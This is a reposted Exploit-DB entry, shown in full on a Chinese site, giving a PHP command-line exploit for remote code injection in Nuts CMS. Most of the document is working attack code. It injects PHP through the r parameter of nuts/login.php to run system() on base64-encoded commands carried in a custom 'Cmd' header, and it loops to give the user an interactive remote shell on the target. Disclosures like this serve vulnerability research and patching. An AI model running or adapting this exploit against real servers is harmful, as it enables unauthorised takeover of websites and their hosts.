Nuts CMS – PHP Remote Code Injection / Execution - 体验盒子

作者： Yakir Wizman

日期： 2015-08-17

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/37809/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

<?php

# Nuts-CMS Remote PHP Code Injection / Execution 0day Exploit

#

# Nuts CMS is a content management system (CMS), which enables you to build Web sites and powerful online applications.

# Nuts CMS is an open source solution that is freely available to everyone.

#

# Discovered by Yakir Wizman

# Date 17/08/2015

# Vendor Homepage : http://www.nuts-cms.com/

# CVE : N/A

# Description : Nuts CMS is vulnerable to php code injection due to improper input validation (CWE-20, https://cwe.mitre.org/data/definitions/20.html).

###

# Exploit code:

error_reporting(E_ALL);

$error[0] = "[!] This script is intended to be launched from the cli.";

if(php_sapi_name() <> "cli")

die($error[0]);

if($argc < 3) {

echo("\nUsage: php {$argv[0]} <host> <path>");

echo("\nExample: php {$argv[0]} localhost /");

die();

}

if(isset($argv[1]) && isset($argv[2])) {

$host = $argv[1];

$path = $argv[2];

}

$pack = "GET {$path}nuts/login.php?r=<?php+error_reporting(0);print(_nutCmsId_);system(base64_decode(\$_SERVER[HTTP_CMD]));die;+?> HTTP/1.0\r\n";

$pack.= "Host: {$host}\r\n";

$pack.= "Cmd: %s\r\n";

$pack.= "Connection: close\r\n\r\n";

while(1) {

print "\nAnonymous@{$host}:~# ";

if(($cmd = trim(fgets(STDIN))) == "exit")

break;

preg_match("/_nutCmsId_(.*)/s", http_send($host, sprintf($pack, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");

}

function http_send($host, $pack) {

if(!($sock = fsockopen($host, 80)))

die("\n[-] No response from {$host}\n");

fwrite($sock, $pack);

return stream_get_contents($sock);

}

?>